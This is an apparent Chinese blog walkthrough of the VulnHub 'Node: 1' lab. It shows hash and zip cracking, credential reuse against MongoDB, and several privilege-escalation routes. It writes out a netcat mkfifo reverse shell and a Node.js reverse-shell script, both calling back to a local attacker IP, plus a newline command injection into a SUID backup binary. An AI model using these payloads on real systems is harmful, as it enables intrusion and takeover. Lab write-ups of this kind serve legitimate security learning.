No.30-VulnHub-Node: 1-Walkthrough渗透学习

**

VulnHub-Node: 1-Walkthrough

**

靶机地址:https://www.vulnhub.com/entry/node-1,252/
靶机难度:中级(CTF)
靶机发布日期:2018年8月7日
靶机描述:
节点是中等级别的boot2root挑战,最初是为HackTheBox创建的。有两个标志(用户和根标志)和多种不同的技术可以使用。OVA已在VMware和Virtual Box上进行了测试
目标:得到root权限&找到flag.txt
作者:大余
时间:2020-01-23
请注意:对于所有这些计算机,我已经使用VMware运行下载的计算机。我将使用Kali Linux作为解决该CTF的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集

在这里插入图片描述
我们在VM中需要确定攻击目标的IP地址,需要使用nmap获取目标IP地址:
在这里插入图片描述
我们已经找到了此次CTF目标计算机IP地址:192.168.56.130
在这里插入图片描述
nmap查看到22和3000端口已经开启…(又是Node.js)前几章也有类似的
在这里插入图片描述
在这里插入图片描述
使用默认密码无法登录…
还使用了dirb,nikto和uniscan去爆破,但是返回的地址都在主页上…没啥别的有用信息…
回主页查看下前端源码看看…
在这里插入图片描述
该站点使用的javascript文件,并且使用了angular.min.js文件来搭建…
这边一个一个打开看看…
在这里插入图片描述
在这里插入图片描述
在profile.js和home.js文件中找到了几个GET请求…
这边可以用burpsuit或者curl查看底层链接情况…
在这里插入图片描述
命令:curl IP+端口+目录…
可以看到/api/users/存在四个用户…/api/users/latest存在三个用户…
在这里插入图片描述
链接:
https://www.onlinehashcrack.com/hash-identification.php
https://crackstation.net/
http://finder.insidepro.team/
以上都可以进行哈希破解…
这边得到了四个用户名和密码…
myP14ceAdm1nAcc0uNT和manchester
tom和spongebob
mark和snowflake
rastating没解析出来…
我们登陆看看…
在这里插入图片描述
tom和mark用户登陆都不是管理员界面,上图是用了myP14ceAdm1nAcc0uNT和manchester进行登陆,下载备份文件…
在这里插入图片描述
文件下载下来发现是base64的文件…
我用base64 -d 解码到文件夹打开发现是乱码…
在这里插入图片描述
原来是zip类型的文件…
命令:fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt dayu.zip

参数	描述
-D	指定方式为字典猜解
-p	指定猜解字典的路径
-u	表示只显示破解出来的密码,其他错误的密码不显示出

在这里插入图片描述
解压密码破解出来了…magicword
在这里插入图片描述
在这里插入图片描述
熟悉node.js的同学应该会了解app.js的作用,它是程序启动文件,里面存储着重要配置信息,从该文件中,获取到mongodb的配置信息…
5AYRft73VtFpc84k

二、提权

在这里插入图片描述
成功登陆mark用户…
在这里插入图片描述
命令cat /etc/*-release
linux 4.4.0版本…
在这里插入图片描述
在漏洞库里搜索了下,发现就44298适合,别的40871我试了不成功…
在这里插入图片描述
在这里插入图片描述
将shell上传到靶机上,然后GCC编译,执行提权即可…
还发现了另外一种提权的方法…获得了user和root文本内容…

另外几种提权方法:

在这里插入图片描述
看到/var/scheduler/app.js的tom用户下运行的调度程序应用程序…
在这里插入图片描述
在这里插入图片描述
可以获得的信息…
可以链接到Mongo数据库…doc.cmd每个带有字段cmd的文档上执行…每30秒setInterval调用一次函数并执行…
在这里插入图片描述
命令:mongo -u mark -p 5AYRft73VtFpc84k scheduler
命令:show collections
命令:db.tasks.find({})
命令:db.tasks.insert({cmd: "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f"})
命令:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.103 4444 >/tmp/f
在这里插入图片描述
使用mark的凭据访问Mongo数据库,插入一个新文档以在“ cmd”字段中添加一个反向shell命令,本地开启NC监听,执行的命令和脚本参考…可以查看到第一个user的标志…

当然这里还有别的方法在JavaScript中创建一个反向shell…
在这里插入图片描述
命令:1、mongo -u mark -p 5AYRft73VtFpc84k scheduler
2、show collections
3、db.tasks.findOne()
4、db.tasks.insert({"cmd": "/usr/bin/node /tmp/dayushell.js"})
shell:

  • (function(){
    var net = require(“net”),
    cp = require(“child_process”),
    sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1234, “192.168.56.103”, function(){
    client.pipe(sh.stdin);
    sh.stdout.pipe(client);
    sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
    })();
    在/tmp/目录写入一个shell,然后就可以对mongodb通过mark凭据建立与凭证进行链接…等待30秒即可获得权限…
    继续下一步,查看下tom用户下的信息…
    在这里插入图片描述
    在/usr/local/bin目录中发现backup二进制可执行文件…看到管理组中的任何用户都可以执行二进制文件…但在运行二进制文件时,它将以root特权运行…前面可以看到我们tom用户在admin用户组中…
    在这里插入图片描述
    这边app.js的key是:45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
    这边有两种方式提权,在app.js中或者backup中放入密匙即可…
    开始
    在这里插入图片描述
    这边用/usr/local/bin/backup -q <backup_key> 来执行…
    目录这边可以用/etc/或者/root/,使用这两个目录才会产生base64字符串…
    该字符串可以按照与之前的myplace.backup文件完全相同的方式进行解码和解压缩…
    我们直接strings查看下把…
    在这里插入图片描述
    可以从该命令的输出推断出,如果directory参数是/root或/etc,则返回上面的硬编码base64长字符串,否则,二进制文件将运行/usr/bin/zip -r -P magicword %s %s > /dev/null…
    由于脚本是加压缩文件…我希望执行以下命令:
  • /usr/bin/zip -r -P magicworld any_directory
    /bin/bash
    any_command > /dev/null
    需要绕过/dev/null重定向…
    现在要做的就是:
    需要将字符串作为第三个参数传递给二进制可执行文件,该二进制可执行文件带有多个\n字符,以打印新行,然后当/bin/bash执行时,我们将具有root访问权限,因为二进制文件以root身份运行,添加了最终命令,使bash会话的输出不会重定向到/dev/null即可…(不懂的多理解几遍…)
    在这里插入图片描述
    命令:/usr/local/bin/backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 "$(echo '/any_directory\n/bin/bash\nany_command')"
    注意:此命令在前面看到的python代码段创建的伪终端内不起作用的,必须首先通过在psuedo-terminal内键入exit或通过以用户tom身份重新连接而完全不运行python代码段来留下该伪终端,才可以执行成功!!
    可以看到,成功利用zip插入了shell获得root权限…

这里我在将另外两种方法…别嫌多,这是我累积这么多篇来的成果吧…
一种是在获得mark的账号ssh登录后用linux/local/bpf_sign_extension_priv_esc可以直接提权成为root,这是利用了CVE-2017-16995 这个漏洞去提权…
最后是缓冲区溢出…

  • gzip -c < /usr/local/bin/backup > /tmp/backup.gz
    base64 < /tmp/backup.gz
    H4sIAL7Zq1kAA+ybe3Qb…查看到的值…AAA
    echo H4sIAL…AAA== > backup.gz.b64
    base64 -d < backup.gz.b64 > backup.gz
    gunzip -c < backup.gz > backup

用以上命令进行将backup考到kali或者本地计算机上使用IDA或者gdb进行分析…有缓冲区溢出…这里我没有继续进行尝试…我留着以后回来挑战缓冲区溢出的方法…

由于我们已经成功得到root权限,因此完成了简单靶机,希望你们喜欢这台机器,请继续关注大余后期会有更多具有挑战性的机器,一起练习学习。

扫描二维码关注公众号,回复: 8895349 查看本文章

如果你有其他的方法,欢迎留言。要是有写错了的地方,请你一定要告诉我。要是你觉得这篇博客写的还不错,欢迎分享给身边的人。

在这里插入图片描述

发布了34 篇原创文章 · 获赞 6 · 访问量 7149

猜你喜欢

转载自blog.csdn.net/qq_34801745/article/details/104080904